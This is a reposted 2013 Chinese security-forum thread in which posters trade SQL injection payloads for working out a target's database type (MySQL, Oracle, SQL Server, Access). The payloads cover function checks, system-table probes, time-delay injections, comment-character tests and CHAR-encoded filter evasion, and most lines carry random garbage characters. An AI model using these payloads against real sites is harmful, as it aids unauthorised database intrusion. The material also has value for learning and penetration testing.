找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2192|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
" ~! a4 A8 M/ Y! C, Uxsser (十根阳具有长短!!) | 2013-02-05 12:36! z4 i3 t9 r- o; o* |# V( x6 Z
假设这么一个注射点:+ _$ u: U3 N- _. H
show.html?id=2
5 ]: r2 \3 X  z# t, b% F+ dmysql:id=2 and version()>0" |: x2 F! h( G* H. G
oracle:id=2 and '1'||'1'='110 b$ ^4 h* R+ {
其他的欢迎补充5 k% Z0 ]1 j1 c3 L3 `# F4 b
1#
) U' b$ W, V8 |5 mupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
1 u$ m) j( }" `& }+ X" bAccess:( E' Y: j+ k# y% C! M) I! a9 {
aNd aSc(cHr(97))=97
$ D7 m. z* h# L0 g9 x7 d% Dand exists(select id from MSysAccessObjects)
7 F3 M0 A" j/ oSQL Server:0 t2 p1 `. x) O6 x# A5 F$ j
and exists(select id from sysobjects)* p4 h( a8 I1 }, d. `9 p
and length(user)>04 S# T) `( c% r9 I7 e9 P. y/ z1 c& J( d
MySQL:, _( U* O% e2 e  W) Y4 |
and length(user())>0
& h3 S  ?2 G7 `% Z1 `, G4 ]2## G/ w' ~4 ^6 U
xsser (十根阳具有长短!!) | 2013-02-05 12:48
2 W2 Y3 d! d: u% M1 G0 S@upload 如果这些都不是呢…8 u9 P. o$ U# Q7 y: m
3#
0 s& ^( y$ y, E. L/ C* pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
& u6 F6 M. h/ L6 d5 O@xsser 不快速的,延时注入
! U& E) ^& s7 P不知道这样写对不对6 z" R0 a7 O( _, a7 u
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
7 B" A) v, f, e6 U" T& r) Emysql:id=2 and select benchmark(1e8,current_date());6 e* c, j/ }1 _- N0 T0 n0 l
4#+ i3 V9 c1 j$ d
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10) c% Y( L0 T- T
最快的貌似是看报错信息" `# s  o- c  S( o7 W; R
oracle error
/ r# k2 V) c  k! B& C5 Cmssql error
) q0 P4 N" n& Z9 Z9 A3 b$ E& `. r: t2 _mysql error
8 K9 ~9 V9 O# H; O: L% |5#' a6 c5 J/ y, R# U1 J3 }
Nimda (你们都是坏银~) | 2013-02-05 13:14' V# g  Z8 @+ i
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
8 e- p0 L0 ~9 ]- e6#) o  _- u; I+ W
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
7 Y& M; T; C. L* k) ], ~“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
" p. l& X  K6 j# P“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:, f6 ]: ?! D$ y: k3 G
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
: U' K0 p# n: g4 a! y+ j) \/ T7#
( y6 u6 P% g& M3 d! j_Evil (HackEnd) | 2013-02-05 13:33( f) @) h" x5 Y0 Z; L0 s
PostgreSQL8 A$ [% g( @  Y) L* r+ q" W
8#
" k1 d7 J; W5 P7 b: U# E& n' Eupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:424 j; _8 f; ]* \8 d5 |
切换编码 and 1=1
% M5 b9 u& s3 j5 C- ?  ioracle:% t% s3 Y  W0 _9 Y* w2 Z
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
* b2 a4 A3 b+ q, umssql:+ r$ [2 w2 O( f" _! L  B: E
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)7 |2 O% S+ O6 b0 A1 _
mysql:( {- l- h" ?9 G0 Y  e' S6 `
CHAR(97, 110, 100, 32, 49, 61, 49)& e) E2 |3 X2 T8 w+ C* U+ O" }6 q! H
9#' ]6 n8 a+ z' {" c! T
xsser (十根阳具有长短!!) | 2013-02-05 14:31, I2 M+ J4 L# L2 N1 T1 O
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?' X+ Y( W8 ]' W: U
10#
* H, a. D- N; H5 n  U2 Rupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
( F/ C& V$ y0 f@xsser 是奇葩数据库类型的么?
) M2 x: g* @0 d) O3 u2 {9 z根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:* P' {  [: O. W% N) z% Y" I# z
1.是否可以使用特定的函数来判断,该数据库特有的
, N" _5 ?1 E6 {2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
" r  u3 f0 W' W9 ~% L# j  z* d% v8 C3.是否可以编码查询6 w- B6 N, V* u( O* i  p
4.是否显可以利用错信息
) N, [0 ?5 a/ y5 ?4 e. A5.是否存在数据库某些特性辅助判断  I; ~7 q4 k# p2 N
个人见解$ [. K# {1 A# E5 b, Y" h! k
11#' U. \) ^4 c  y: g" k" E
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55" @% r$ e  b* u8 ^5 b, ^# |
已收藏,mssql可以直接看到错误提示的吧~
! _# f+ M$ ^$ S7 H* \12#- j) y  u( [+ ^2 ]: g2 p) l' s7 Q
Passer_by | 2013-02-05 15:09
3 v0 Y0 K% Z' L: [$ q4 B4 s曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
+ O: r7 q8 b  X* n9 n9 xfrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表